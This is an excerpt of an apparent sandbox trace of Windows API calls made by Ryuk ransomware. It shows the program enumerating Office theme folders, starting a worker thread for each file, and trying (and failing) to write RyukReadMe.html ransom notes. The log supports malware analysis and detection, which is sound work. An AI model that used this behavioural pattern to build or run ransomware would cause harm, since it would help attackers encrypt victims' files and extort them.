	[0161.518] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a15810, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.519] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe9250800, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe9250800, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xeafa, dwReserved0=0x8e, dwReserved1=0x0, cFileName="BOLDSTRI.ELM", cAlternateFileName="")) returned 1
	[0161.519] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.519] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x664
	[0161.521] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.521] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x51a15810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x254, dwReserved0=0x8e, dwReserved1=0x0, cFileName="BOLDSTRI.INF", cAlternateFileName="")) returned 1
	[0161.521] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.523] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x668
	[0161.525] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.526] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xd97, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0161.526] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.526] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x66c
	[0161.528] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.528] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0161.529] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.529] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x670
	[0161.531] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.532] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7c5d, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0161.532] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0161.532] SetLastError (dwErrCode=0x0) 
	[0161.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BOLDSTRI\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\boldstri\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.533] GetLastError () returned 0x5
	[0161.533] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0161.533] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.533] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="BREEZE", cAlternateFileName="")) returned 1
	[0161.533] SetLastError (dwErrCode=0x0) 
	[0161.533] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.533] GetLastError () returned 0x5
	[0161.533] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0161.534] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.534] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0161.536] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51a61ad0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.536] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xea563500, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51a61ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xea563500, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1a537, dwReserved0=0x8e, dwReserved1=0x0, cFileName="BREEZE.ELM", cAlternateFileName="")) returned 1
	[0161.536] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.536] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x674
	[0161.663] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.664] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6003c730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1c2, dwReserved0=0x8e, dwReserved1=0x0, cFileName="BREEZE.INF", cAlternateFileName="")) returned 1
	[0161.664] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.665] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc15170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x678
	[0161.667] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.668] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xaa2, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0161.668] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.668] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x67c
	[0161.670] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.670] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0161.670] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.671] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc1f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x680
	[0161.673] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.674] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xa90c, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0161.674] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0161.674] SetLastError (dwErrCode=0x0) 
	[0161.674] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\BREEZE\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\breeze\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.674] GetLastError () returned 0x5
	[0161.674] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0161.675] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.675] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="CANYON", cAlternateFileName="")) returned 1
	[0161.675] SetLastError (dwErrCode=0x0) 
	[0161.675] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.675] GetLastError () returned 0x5
	[0161.675] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0161.675] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.676] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0161.677] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.678] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb876200, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb876200, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xaec9, dwReserved0=0x8e, dwReserved1=0x0, cFileName="CANYON.ELM", cAlternateFileName="")) returned 1
	[0161.678] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.679] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc22cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x684
	[0161.681] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.681] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1d1, dwReserved0=0x8e, dwReserved1=0x0, cFileName="CANYON.INF", cAlternateFileName="")) returned 1
	[0161.681] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.682] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc29ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x688
	[0161.684] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.685] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x3b1, dwReserved0=0x8e, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0161.685] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.686] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x68c
	[0161.688] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.688] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0161.688] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.689] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x690
	[0161.691] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.691] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x363aa000, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x363aa000, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7f5f, dwReserved0=0x8e, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0161.692] FindClose (in: hFindFile=0x7a2e0 | out: hFindFile=0x7a2e0) returned 1
	[0161.692] SetLastError (dwErrCode=0x0) 
	[0161.692] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\canyon\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.692] GetLastError () returned 0x5
	[0161.692] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0161.692] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.692] FindNextFileW (in: hFindFile=0x79bc0, lpFindFileData=0x26acf90 | out: lpFindFileData=0x26acf90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x7c, dwReserved1=0x0, cFileName="CAPSULES", cAlternateFileName="")) returned 1
	[0161.693] SetLastError (dwErrCode=0x0) 
	[0161.693] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RyukReadMe.html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0161.693] GetLastError () returned 0x5
	[0161.693] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13fc0dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x26aced8, lpOverlapped=0x0) returned 0
	[0161.693] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0161.693] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CAPSULES\\*.*", lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7a2e0
	[0161.697] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c2ab50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x8e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0161.697] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecb88f00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x603362b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xecb88f00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xe1ba, dwReserved0=0x8e, dwReserved1=0x0, cFileName="CAPSULES.ELM", cAlternateFileName="")) returned 1
	[0161.697] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.698] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x694
	[0161.966] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0161.966] FindNextFileW (in: hFindFile=0x7a2e0, lpFindFileData=0x26ac860 | out: lpFindFileData=0x26ac860*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf86a7300, ftCreationTime.dwHighDateTime=0x1c47827, ftLastAccessTime.dwLowDateTime=0x51c2ab50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf86a7300, ftLastWriteTime.dwHighDateTime=0x1c47827, nFileSizeHigh=0x0, nFileSizeLow=0x1f5, dwReserved0=0x8e, dwReserved1=0x0, cFileName="CAPSULES.INF", cAlternateFileName="")) returned 1
	[0161.966] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8630000
	[0161.967] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc18850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x698
	[0161.969] VirtualFree (lpAddress=0x8630000, dwSize=0x0, dwFreeType=0x8000) returned 1
